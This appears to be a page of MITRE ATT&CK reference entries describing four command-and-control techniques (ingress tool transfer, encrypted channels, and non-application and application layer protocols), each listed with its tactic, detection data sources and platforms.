Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre